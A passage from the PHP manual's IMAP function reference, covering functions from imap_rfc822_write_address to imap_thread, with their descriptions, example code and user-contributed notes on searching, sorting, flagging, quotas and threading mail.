doesn't handle rfc882 fields:
return-path
received
resent-         I think this field may be obsolete
keywords

If there are other rfc822 fields or behavoirs for the function, then I can't speak of them as they weren't in my test.
As it is relevent to what I'm currently doing I may add more about this function from time to time.
jh at junetz dot de 14-Sep-2004 08:22
But what you /will/ get is a complete To field, i.e. unfolded as specified for long header fields in RFC 822. So if you want to replace imap_headerinfo() by this function, you can run it on imap_fetchheader().
Sven dot Dickert at planb dot de 21-May-2002 04:28
The object you get from imap_rfc822_parse_headers differs from the object you get from imap_headerinfo/imap_header in the following points. You won't get the:
* flags
* msgno
* size
* Maildate
* udate
* fetchfrom
* fetchsubject

udate can be simulated with
$headerobj=imap_rfc822_parse_headers ($header);
$udate=strtotime($headerobj->date);
imap_rfc822_parse_adrlist
imap_rfc822_write_address
IMAP Functions


Returns a properly formatted email address given the mailbox, host, and personal info

imap_rfc822_parse_headers
imap_savebody
IMAP Functions
PHP Manual

imap_rfc822_write_address

(PHP 4, PHP 5)

imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info

Description

string imap_rfc822_write_address ( string $mailbox , string $host , string $personal )

Returns a properly formatted email address as defined in » RFC2822 given the needed information.

Parameters

mailbox

The mailbox name, see imap_open() for more information

host

The email host part

personal

The name of the account owner

Return Values

Returns a string properly formatted email address as defined in » RFC2822.

Examples

Example #1 imap_rfc822_write_address() example

<?php
echo imap_rfc822_write_address("hartmut", "example.com", "Hartmut Holzgraefe");
?>

The above example will output:

Hartmut Holzgraefe <hartmut@example.com>

User Contributed Notes

There are no user contributed notes for this page.
imap_rfc822_parse_headers
imap_savebody
IMAP Functions


Save a specific body section to a file

imap_rfc822_write_address
imap_scan
IMAP Functions
PHP Manual

imap_savebody

(PHP 5 >= 5.1.3)

imap_savebody — Save a specific body section to a file

Description

bool imap_savebody ( resource $imap_stream , mixed $file , int $msg_number [, string $part_number = "" [, int $options = 0 ]] )

Saves a part or the whole body of the specified message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

file

The path to the saved file as a string, or a valid file descriptor returned by fopen().

msg_number

The message number

part_number

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

options

A bitmask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_fetchbody() - Fetch a particular section of the body of the message

User Contributed Notes

janus at forty-seven dot info 20-Feb-2009 01:40
It seems that imap_savebody saves attachments with special characters above ascii 127 as quoted printable.
But if you need it in utf8, you may use the imap_qprint function after the attachment is saved:

<?php
$tFile = "/path/to/attachment";
$tFileOutput="";
$tFileHandle = fopen($tFile, "r");

//get the content of the file into a string
while(!feof($tFileHandle))
  $tFileOutput = $tFileOutput . fgets($tFileHandle, 4096);

fclose ($tFileHandle);

$tFileHandle = fopen($tFile, "w");
//write the new 8Bit string to the file
fwrite($tFileHandle, imap_qprint($tFileOutput));
fclose ($tFileHandle);
?>
technocraze at gmail dot com 20-Dec-2007 12:38
I tried to use this function. But it seems it requires php_zip.dll to be load..  i got the php errror like below.

[20-Dec-2007 13:38:17] PHP Warning:  PHP Startup: Unable to load dynamic library './php_zip.dll' - ./php_zip.dll: cannot open shared object file: No such file or directory in Unknown on line 0
[20-Dec-2007 13:38:17] PHP Fatal error:  Call to undefined function imap_savebody() in /opt/oss/share/apache2/htdocs/blogtest/wp-inst/batch/pop3_mail.php on line 153
stupergenius at gmail dot com 31-Jul-2007 06:40
This function will save ALL information from the email if the part number is left out. Pretty handy for archiving.
imap_rfc822_write_address
imap_scan
IMAP Functions


Alias of imap_listscan

imap_savebody
imap_scanmailbox
IMAP Functions
PHP Manual

imap_scan

(PHP 4, PHP 5)

imap_scan — Alias of imap_listscan()

Description

This function is an alias of: imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.
imap_savebody
imap_scanmailbox
IMAP Functions


Alias of imap_listscan

imap_scan
imap_search
IMAP Functions
PHP Manual

imap_scanmailbox

(PHP 4, PHP 5)

imap_scanmailbox — Alias of imap_listscan()

Description

This function is an alias of: imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.
imap_scan
imap_search
IMAP Functions


This function returns an array of messages matching the given search criteria

imap_scanmailbox
imap_set_quota
IMAP Functions
PHP Manual

imap_search

(PHP 4, PHP 5)

imap_search — This function returns an array of messages matching the given search criteria

Description

array imap_search ( resource $imap_stream , string $criteria [, int $options = SE_FREE [, string $charset = NIL ]] )

This function performs a search on the mailbox currently opened in the given IMAP stream.

For example, to match all unanswered messages sent by Mom, you'd use: "UNANSWERED FROM mom". Searches appear to be case insensitive. This list of criteria is from a reading of the UW c-client source code and may be incomplete or inaccurate (see also » RFC2060, section 6.4.4).

Parameters

imap_stream

An IMAP stream returned by imap_open().

criteria

A string, delimited by spaces, in which the following keywords are allowed. Any multi-word arguments (e.g. FROM "joey smith") must be quoted. Results will match all criteria entries.

  • ALL - return all messages matching the rest of the criteria
  • ANSWERED - match messages with the \\ANSWERED flag set
  • BCC "string" - match messages with "string" in the Bcc: field
  • BEFORE "date" - match messages with Date: before "date"
  • BODY "string" - match messages with "string" in the body of the message
  • CC "string" - match messages with "string" in the Cc: field
  • DELETED - match deleted messages
  • FLAGGED - match messages with the \\FLAGGED (sometimes referred to as Important or Urgent) flag set
  • FROM "string" - match messages with "string" in the From: field
  • KEYWORD "string" - match messages with "string" as a keyword
  • NEW - match new messages
  • OLD - match old messages
  • ON "date" - match messages with Date: matching "date"
  • RECENT - match messages with the \\RECENT flag set
  • SEEN - match messages that have been read (the \\SEEN flag is set)
  • SINCE "date" - match messages with Date: after "date"
  • SUBJECT "string" - match messages with "string" in the Subject:
  • TEXT "string" - match messages with text "string"
  • TO "string" - match messages with "string" in the To:
  • UNANSWERED - match messages that have not been answered
  • UNDELETED - match messages that are not deleted
  • UNFLAGGED - match messages that are not flagged
  • UNKEYWORD "string" - match messages that do not have the keyword "string"
  • UNSEEN - match messages which have not been read yet

options

Valid values for options are SE_UID, which causes the returned array to contain UIDs instead of messages sequence numbers.

charset

Return Values

Returns an array of message numbers or UIDs.

Return FALSE if it does not understand the search criteria or no messages have been found.

Changelog

Version | Description
4.3.3 | The charset parameter was added

Examples

Example #1 imap_search() example

<?php
$conn   = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);

$some   = imap_search($conn, 'SUBJECT "HOWTO be Awesome" SINCE "8 August 2008"', SE_UID);
$msgnos = imap_search($conn, 'ALL');
$uids   = imap_search($conn, 'ALL', SE_UID);

print_r($some);
print_r($msgnos);
print_r($uids);
?>

The above example will output something similar to:

Array
(
    [0] => 4
    [1] => 6
    [2] => 11
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 11
    [5] => 12
)

See Also

  • imap_listscan() - Returns the list of mailboxes that matches the given text

User Contributed Notes

admin at rancid-tea dot com 20-Sep-2007 08:57
This search looks for messages matching ALL criteria, not ANY criteria. For example the search

imap_search($mailbox,'FROM "user" TO "user"')

Will return message that have "user" in both the from and to headers, but not messages with "user" in either the from or to header.
oliver at samera dot com dot py 26-Oct-2002 08:16
imap_search() only supports IMAP2 search criterias, because the function mail_criteria() (from c-client lib) is used in ext/imap/php_imap.c for parsing the search string.
IMAP2 search criteria is defined in RFC 1176, section "tag SEARCH search_criteria".
oliver at samera dot com dot py 26-Jan-2002 09:03
imap_search() return false if it does not understand the search condition or no messages have been found.

$emails imap_seach($mbox, "UNDELETED SENTSINCE 01-Jan-2002");
if($emails === false)
  echo "The search failed";
imap_scanmailbox
imap_set_quota
IMAP Functions


Sets a quota for a given mailbox

imap_search
imap_setacl
IMAP Functions
PHP Manual

imap_set_quota

(PHP 4 >= 4.0.5, PHP 5)

imap_set_quota — Sets a quota for a given mailbox

Description

bool imap_set_quota ( resource $imap_stream , string $quota_root , int $quota_limit )

Sets an upper limit quota on a per mailbox basis.

Parameters

imap_stream

An IMAP stream returned by imap_open().

quota_root

The mailbox to have a quota set. This should follow the IMAP standard format for a mailbox: user.name.

quota_limit

The maximum size (in KB) for the quota_root

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_set_quota() example

<?php
$mbox = imap_open("{imap.example.org:143}", "mailadmin", "password");

if (!imap_set_quota($mbox, "user.kalowsky", 3000)) {
    echo "Error in setting quota\n";
    return;
}

imap_close($mbox);
?>

Notes

This function is currently only available to users of the c-client2000 or greater library.

The given imap_stream must be opened as the mail administrator, other wise this function will fail.

See Also

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_get_quota() - Retrieve the quota level settings, and usage statics per mailbox

User Contributed Notes

lars at kneschke dot de 18-Mar-2003 06:24
If you want to disable the quotas again, set them to -1.

$mbox = imap_open ("{your.imap.host:143}", "mailadmin", "password");

if(!imap_set_quota($mbox, "user.kalowsky", -1)) {
    print "Error in deleting quota\n";
    return;
}

imap_close($mbox);
imap_search
imap_setacl
IMAP Functions


Sets the ACL for a giving mailbox

imap_set_quota
imap_setflag_full
IMAP Functions
PHP Manual

imap_setacl

(PHP 4 >= 4.0.7, PHP 5)

imap_setacl — Sets the ACL for a giving mailbox

Description

bool imap_setacl ( resource $imap_stream , string $mailbox , string $id , string $rights )

Sets the ACL for a giving mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

id

The user to give the rights to.

rights

The rights to give to the user. Passing an empty string will delete acl.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

This function is currently only available to users of the c-client2000 or greater library.

See Also

  • imap_getacl() - Gets the ACL for a given mailbox

User Contributed Notes

panayotis at yellownetroad dot com 06-Oct-2002 04:34
I noticed that using:
imap_setacl ($conn, $mbox, $userid, "")
will act like:
"deleteaclmailbox $mbox $userid"  (remove the ACL on mailbox for userid).
imap_set_quota
imap_setflag_full
IMAP Functions


Sets flags on messages

imap_setacl
imap_sort
IMAP Functions
PHP Manual

imap_setflag_full

(PHP 4, PHP 5)

imap_setflag_full — Sets flags on messages

Description

bool imap_setflag_full ( resource $imap_stream , string $sequence , string $flag [, int $options = NIL ] )

Causes a store to add the specified flag to the flags set for the messages in the specified sequence.

Parameters

imap_stream

An IMAP stream returned by imap_open().

sequence

A sequence of message numbers. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

flag

The flags which you can set are \Seen, \Answered, \Flagged, \Deleted, and \Draft as defined by » RFC2060.

options

A bit mask that may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_setflag_full() example

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\\Seen \\Flagged");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>

See Also

  • imap_clearflag_full() - Clears flags on messages

User Contributed Notes

ming0 at mailinator dot com 08-Sep-2010 10:43
To correct phpidiot at avanca-a dot de

<?php

imap_setflag_full($mbox, '1', 'label1');

?>
daniel dot blackburn at galorwebservices dot com 20-Aug-2010 02:13
Where possible I would avoid using POP3 accounts. My host allowed me to upgrade to IMAP and it is so much easier. I think the only way to accurately create any form of mail client with POP3 is to download the messages into an SQL database which is a big task to start with, considering the IMAP standards have the functionality we need built in.
I experimented with flag setting in POP3 and it seems they do not stick at all, and it is almost impossible to retrieve the number of unread messages (ie. the Seen / Unseen thing does not work)
Converted to IMAP and it's working - the majority of the functions in this section seem to be IMAP focussed and WILL NOT generally work with POP3
phpidiot at avanca-a dot de 25-Oct-2009 04:37
"Keywords" aka "tags" aka "PERMANENTFLAGS" can be added if your server supports IMAP 4rev1 by using $label{label-nr}:

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\$label1");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>
calmdown at abendstille dot at 16-Jan-2003 01:54
The imap_setflag_full-function works with pop3 as long as the connection is NOT closed. if you make

imap_setflag_full($mbox, imap_uid($mbox, 0), "\\Seen \\Flagged", ST_UID);

print_r( imap_headerinfo($mbox, 0) );

you see the flags set, but if you call the box again with another script, the flags are empty again.
I tried this on a WinNT (*ugly*) with IIS 4.0 and a running POP3-server with PHP 4.3.
msh at onliners dot dk 25-Apr-2002 08:36
In reply to:
todsah@arise.nl
13-Oct-2000 06:51

The pop3 does indeed support the deleted flag - I have been working with the IMAP functions connection to a POP3 server this past week and lucky me it works.
AJCartmell at ricardo dot com 31-Jan-2002 06:29
Spent ages trying to get this to work, then eventually remembered I had opened the mailbox READONLY - obviously you need write permission for setting flags!
php AT holtsmark DOT no 14-Jan-2002 06:48
Use the imap_clearflag_full function if you want to unset the \Seen flag.

http://www.php.net/manual/en/function.imap-clearflag-full.php
death at metalfield dot com 21-Dec-2000 05:14
Indeed POP3 does not support flags that indicate the "newness" of a message. There are other ways to work around this problem, though. For one, I have seen mail delivery systems that will add a header field Status: to indicate its status (see RFC2076). Another way most email clients and mail fetching programs seem to use is to keep a local list of UID's of messages that are downloaded. Upon fetching mail, the UID's of the messages can be checked against this list to see if it was already downloaded. POP3 supports a command UIDL to get a list of all UID's, but I doubt the IMAP lib uses this command. The only thing I know of that will thrash this work-around is the use of multiple mail clients. If another mail client fetches mail from the server, the first client has no way of knowing it has been downloaded.
todsah at arise dot nl 13-Oct-2000 12:51
According to the rfc, pop3 does not have support for these flags, except perhaps for the deleted flag. I haven't tried if the delete flag works on pop3 or not.
simoned at eisa dot net dot au 13-Jan-2000 10:04
I've finally managed to get some action out of this function. Here is some code that might work help some people out:

$headers = imap_headers($link);
for($x=0; $x < count($headers); $x++) {
    $id = substr($headers[$x],5,4);
    imap_setflag_full($link,imap_uid($link,$id),'\\SEEN',SE_UID);
}

Good luck.
imap_setacl
imap_sort
IMAP Functions


Gets and sort messages

imap_setflag_full
imap_status
IMAP Functions
PHP Manual

imap_sort

(PHP 4, PHP 5)

imap_sort — Gets and sort messages

Description

array imap_sort ( resource $imap_stream , int $criteria , int $reverse [, int $options = 0 [, string $search_criteria = NULL [, string $charset = NIL ]]] )

Gets and sorts message numbers by the given parameters.

Parameters

imap_stream

An IMAP stream returned by imap_open().

criteria

Criteria can be one (and only one) of the following:

  • SORTDATE - message Date
  • SORTARRIVAL - arrival date
  • SORTFROM - mailbox in first From address
  • SORTSUBJECT - message subject
  • SORTTO - mailbox in first To address
  • SORTCC - mailbox in first cc address
  • SORTSIZE - size of message in octets

reverse

Set this to 1 for reverse sorting

options

The options are a bitmask of one or more of the following:

  • SE_UID - Return UIDs instead of sequence numbers
  • SE_NOPREFETCH - Don't prefetch searched messages

search_criteria

charset

Return Values

Returns an array of message numbers sorted by the given parameters.

Changelog

Version | Description
4.3.3 | The charset parameter was added

User Contributed Notes

ted dot chou12 at gmail dot com 16-Dec-2008 09:16
One thing worth mentioning about imap_sort is that the unique id and message no. changes with the order of the message, so the ids are different if sorted differently and have difficulties to track, the way to get it is using the message->id property:

<?php
  $imap_server = "{mail.netfriending.co.cc/novalidate-cert}";
  $imap_user = "user";
  $imap_pass = "pass";
  $mbox = imap_open("{$imap_server}INBOX", $imap_user, $imap_pass);
  $original_order = $mbox; //this is important line to add before reordering the messages.
  $sorted_mbox = imap_sort($mbox, "SORTDATE", 0);
  $totalrows = imap_num_msg($mbox);
  $startvalue = 0;
  while ($startvalue < $totalrows) {
    $header = imap_header($mbox, $sorted_mbox[$startvalue]);
    $mid_1 = $header->message_id;
    $i = 0;
    while ($i < ($totalrows + 1)) {
      $header1 = imap_header($original_order, $i);
      $mid_2 = $header1->message_id;
      if ($mid_1 == $mid_2) {
        $id = $i;
      }
      $i ++;
    } // now the ids are store truely & uniquely in the $id variable to call out
    $startvalue++;
  }
?>
antoine dot spam-nono at maxg dot info 09-Feb-2006 07:42
I worked a lot with IMAP functions since I wrote a complete webmail and I've got a little tip about the imap_sort function :

There is a big difference between :

<?php
 imap_sort($imap, SORTDATE, 1);
// and
 imap_sort($imap, SORTARRIVAL, 1);
?>

The first command will issue a
 >> FETCH 1:last (UID ENVELOPE BODY.PEEK[HEADER.FIELDS (Newsgroups Content-MD5 Content-Disposition Content-Language Content-Location Followup-To References)] INTERNALDATE RFC822.SIZE FLAGS)

While the second resulted in
 >> FETCH 1:last (UID INTERNALDATE RFC822.SIZE FLAGS)

As a result, using SORTDATE took 3 seconds longer to complete on a 800-emails mailbox, while the results are quite the same (except if you have to deal with forged dates or timezones, but the arrival order is far more logical)

My advice if you sort your emails by arrival is to actually use SORTARRIVAL, or better don't use imap_sort and go straight with message numbers (not UIDs). On large mailboxes, if you display messages per page, you will have significant performance increases (by avoiding 5 seconds of sorting).
persian-horde at metanetworking dot com 07-May-2005 09:41
Hello,
We used MIME and NLS libraries in our previous code(imap_locale_sort) that
are part of PEAR and Horde projects, and so our function
was so specific. Here is the general (pure php) code for this
function:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=imap_utf8($val->subject);
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Sample usage:

$mbox = imap_open("{localhost:143}INBOX.sent-mail","userid","password");

if ($mbox)
    echo ("Connection Successful!");

$sorted = imap_locale_sort($mbox,SORTSUBJECT,0,'fa_IR',0);
print_r($sorted);
print ("\n\n");
$sorted = imap_sort($mbox,SORTSUBJECT,SE_UID);
print_r($sorted);

imap_close($mbox);
persian-horde at metanetworking dot com 07-May-2005 03:17
imap_sort uses the c-client library to sort messages. This library currently does not
support locale-based sort for foreign languages (Although it has charset option).
They are working on this(http://www.washington.edu/imap/IMAP-FAQs/#1.12),
but you can use the following function which uses strcoll() for locale-based sorting.
Pease note that this is required for SUBJECT field sorting, because most of
other fields are sorted correctly by imap_sort in any locale:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=MIME::decode($val->subject, NLS::getCharset());
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Usage example:

$sorted = imap_locale_sort($stream,SORTSUBJECT,0,'fa_IR',0);
boscolau at mac dot com 22-Mar-2005 02:57
in reply to graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk here is a more elegant way to achieve sorting of search results:

function order_search($searchresults, $sortresults) {
    return array_values(array_intersect($sortresults,$searchresults));
}

example of using function:
   $sortresults = imap_sort($stream, $sort, $sortorder);
   $searchresults = imap_search($stream, $query);
   $sorted_search_results = order_search($searchresults, $sortresults);

sorted version of search results will then be held in the array of $sorted_search_results.
tilmauder at yahoo dot com 27-Apr-2004 09:43
in response to fprado's problem, the solution would be to use array_multisort() function on imap_fetchheader(). sdavey at datalink dot net dot au wrote an excellent example under array_multisort. I have used it to sort POP3 by message size. Unfortunately, my code is much too convoluted to post it here.
fprado at pmovil dot com dot br 21-Nov-2002 01:23
I use imap_sort() to go through POP3 accounts. However, sometimes, when the mailbox is too large, the response is incredibly slow.

I tried sniffing the network to discover the source of the problem and found that when imap_sort() is called for a POP3 server, it downloads the full body & attachs of ALL the messages in the mailbox. Since my POP server and my Web server are on differente machines, this caused the considerably slow response.

I've been trying a work-around this issue and if I manage to do this I'll post it here.
graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk 18-Feb-2002 01:34
for those of you with an old version of PHP that doesn't support the extra search paramater you may want to use this function:
function order_search($searchresults, $sortresults) {
    $searchhash = array();
    $returnresults = array();
    $count = 0;
    for ($i = 0; $i < sizeof($searchresults); $i++) {
        $searchhash[$searchresults[$i]] = true;
    }
    for ($i = 0; $i < sizeof($sortresults); $i++) {
        if (@$searchhash[$sortresults[$i]]) {
            $returnresults[$count] = $sortresults[$i];
            $count++;
        }
    }
    return $returnresults;
}

example of using function:
    $sortresults = imap_sort($stream, $sort, $sortdir, SE_UID);
    $searchresults = imap_search($stream, $search, SE_UID);
    $results = order_search($searchresults, $sortresults);

$results will then hold a sorted array of search results.
imap_setflag_full
imap_status
IMAP Functions


Returns status information on a mailbox

imap_sort
imap_subscribe
IMAP Functions
PHP Manual

imap_status

(PHP 4, PHP 5)

imap_status — Returns status information on a mailbox

Description

object imap_status ( resource $imap_stream , string $mailbox , int $options )

Gets status information about the given mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

options

Valid flags are:

  • SA_MESSAGES - set $status->messages to the number of messages in the mailbox
  • SA_RECENT - set $status->recent to the number of recent messages in the mailbox
  • SA_UNSEEN - set $status->unseen to the number of unseen (new) messages in the mailbox
  • SA_UIDNEXT - set $status->uidnext to the next uid to be used in the mailbox
  • SA_UIDVALIDITY - set $status->uidvalidity to a constant that changes when uids for the mailbox may no longer be valid
  • SA_ALL - set all of the above

Return Values

This function returns an object containing status information. The object has the following properties: messages, recent, unseen, uidnext, and uidvalidity.

flags is also set, which contains a bitmask which can be checked against any of the above constants.

Examples

Example #1 imap_status() example

<?php
$mbox = imap_open("{imap.example.com}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$status = imap_status($mbox, "{imap.example.org}INBOX", SA_ALL);
if ($status) {
  echo "Messages:   " . $status->messages    . "<br />\n";
  echo "Recent:     " . $status->recent      . "<br />\n";
  echo "Unseen:     " . $status->unseen      . "<br />\n";
  echo "UIDnext:    " . $status->uidnext     . "<br />\n";
  echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";
} else {
  echo "imap_status failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

User Contributed Notes

razonklnbd at hotmail dot com 05-Jan-2008 10:12
another tips is to get only total number of message and recent message

$imap_obj = imap_status($mbox, '{mail.mysrv.com:143/imap}INBOX', SA_MESSAGES+SA_RECENT);
echo('<pre>'); var_dump($imap_obj); echo('</pre>');
jille at DIESPAMMERShexon dot cx 03-May-2007 06:21
In 'reply' to my previous post;
I`m not sure of that anymore
I think this trick works,
but the rest of my script just sucks..

Conclusion:
You can get the last UID by using status->uidnext-1
BUT: This is not a good way, if another message is added after your append and before your status; you are screwed
imap_sort
imap_subscribe
IMAP Functions


Subscribe to a mailbox

imap_status
imap_thread
IMAP Functions
PHP Manual

imap_subscribe

(PHP 4, PHP 5)

imap_subscribe — Subscribe to a mailbox

Description

bool imap_subscribe ( resource $imap_stream , string $mailbox )

Subscribe to a new mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_unsubscribe() - Unsubscribe from a mailbox

User Contributed Notes

shacky 29-May-2009 06:34
Hi,
When $mailbox string ends with '/' it doesn't subscribe and doesn't return any error. You need to rtrim this character.
ajflorido dot canariastelecom.com 16-Mar-2003 10:11
Hello there! Sorry for my english
For someone who need to use this function.
I was trying to use it on my own imap server v2.0 but it didn't subscribe to any of the folders, so i try this method and it works.

class imap {
 var $imaphost="{your.imap.host:143}";
 var $imapuser="user";
 var $imappass="pass";
}

$imapm = new imap();

$mbox=imap_open($imapm->imaphost,$imapm->imapuser,$imapm->imappass);

$bool=imap_subscribe($mbox,"{your.host:143}INBOX");
  if ($bool)
  {
     print "Ok";
  } else {
            print "No ok";
           }
imap_status
imap_thread
IMAP Functions


Returns a tree of threaded message

imap_subscribe
imap_timeout
IMAP Functions
PHP Manual

imap_thread

(PHP 4 >= 4.0.7, PHP 5)

imap_thread — Returns a tree of threaded message

Description

array imap_thread ( resource $imap_stream [, int $options = SE_FREE ] )

Gets a tree of a threaded message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

options

Return Values

imap_thread() returns an associative array containing a tree of messages threaded by REFERENCES, or FALSE on error.

Every message in the current mailbox will be represented by three entries in the resulting array:

  • $thread["XX.num"] - current message number

  • $thread["XX.next"]

  • $thread["XX.branch"]

Examples

Example #1 imap_thread() Example

<?php

// Here we're outputting the threads of a newsgroup, in HTML

$nntp = imap_open('{news.example.com:119/nntp}some.newsgroup', '', '');
$threads = imap_thread($nntp);

foreach ($threads as $key => $val) {
  $tree = explode('.', $key);
  if ($tree[1] == 'num') {
    $header = imap_headerinfo($nntp, $val);
    echo "<ul>\n\t<li>" . $header->fromaddress . "\n";
  } elseif ($tree[1] == 'branch') {
    echo "\t</li>\n</ul>\n";
  }
}

imap_close($nntp);

?>

User Contributed Notes

cblanquera at gmail dot com 19-May-2011 08:13
imap_thread() returns threads, but are confined to the current open mailbox you defined in imap_open(). This is not useful for, lets say, getting full threads ( from "Sent Messages" and "Inbox" [took me a day to figure this out]).

If you compare threads on Outlook vs gmail.com you will find that Outlook determines threads by subject title, not actual parent > child relationships.

Gmail however, seems to get threads right, but does not include mail you send using their web interface in  {imap.google.com:993/imap/ssl}Sent Messages . What this means is that threads using php imap won't be perfect for gmail.

If you send mail using Outlook (or any mail client), gmail.com does put it in their "Sent Mail".

So all in all, threads for PHP imap are not perfect. But I blame the imap specifications (DEAR IMAP GUYS, please add better uids and parent ids. thx Chris) more than PHP

So I created the Outlook method for threading (comparing subjects) below:

<?php
$imap         = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'yourpassword');
$subject     = 'Item b';
$threads     = array();

//remove re: and fwd:
$subject = trim(preg_replace("/Re\:|re\:|RE\:|Fwd\:|fwd\:|FWD\:/i", '', $subject));

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//now reopen sent messages
imap_reopen($imap, '{imap.gmail.com:993/imap/ssl}Sent Messages');

//and do the same thing

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//sort keys so we get threads in chronological order
ksort($threads);

echo '<pre>'.print_r($threads, true).'</pre>';
exit;
?>

so if you are going to use imap_thread() for something useful. This is probably the most optimal way I can think of:

<?php
$imap = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'password');
$threads = $rootValues = array();

$thread = imap_thread($imap);
$root = 0;

//first we find the root (or parent) value for each email in the thread
//we ignore emails that have no root value except those that are infact
//the root of a thread

//we want to gather the message IDs in a way where we can get the details of
//all emails on one call rather than individual calls ( for performance )

//foreach thread
foreach ($thread as $i => $messageId) {
    //get sequence and type
    list($sequence, $type) = explode('.', $i);

    //if type is not num or messageId is 0 or (start of a new thread and no next) or is already set
    if($type != 'num' || $messageId == 0
       || ($root == 0 && $thread[$sequence.'.next'] == 0)
       || isset($rootValues[$messageId])) {
        //ignore it
        continue;
    }

    //if this is the start of a new thread
    if($root == 0) {
        //set root
        $root = $messageId;
    }

    //at this point this will be part of a thread
    //let's remember the root for this email
    $rootValues[$messageId] = $root;

    //if there is no next
    if($thread[$sequence.'.next'] == 0) {
        //reset root
        $root = 0;
    }
}

//now get all the emails details in rootValues in one call
//because one call for 1000 rows to a server is better
//than calling the server 1000 times
$emails = imap_fetch_overview($imap, implode(',', array_keys($rootValues)));

//foreach email
foreach ($emails as $email) {
    //get root
    $root = $rootValues[$email->msgno];

    //add to threads
    $threads[$root][] = $email;
}

//there is no need to sort, the threads will automagically in chronological order
echo '<pre>'.print_r($threads, true).'</pre>';
imap_close($imap);
exit;
?>
whamill at google mail 26-Apr-2010 02:23
I figure other people may benefit from an explanation of the resulting array, My understanding is:

Key: Essentially a node ID
Num: The mail ID (where 0 indicates the start of a conversation)
Next: The node ID of the first child (where 0 indicates there are no children)
Branch: The node ID of the next sibling (where 0 indicates there is no sibling)
mail at moritz-lapp dot de 05-Aug-2004 01:47
One possible option to imap_thread is the constant SE_UID, which will make imap_thread return UIDs instead of sequence numbers in the x.num-fields of the returned array.
imap_subscribe
imap_timeout
IMAP Functions


Set or fetch imap timeout

imap_thread
imap_uid
IMAP Functions
PHP Manual

imap_timeout

(PHP 4 >= 4.3.3, PHP 5)

imap_timeout — Set or fetch imap timeout

Description

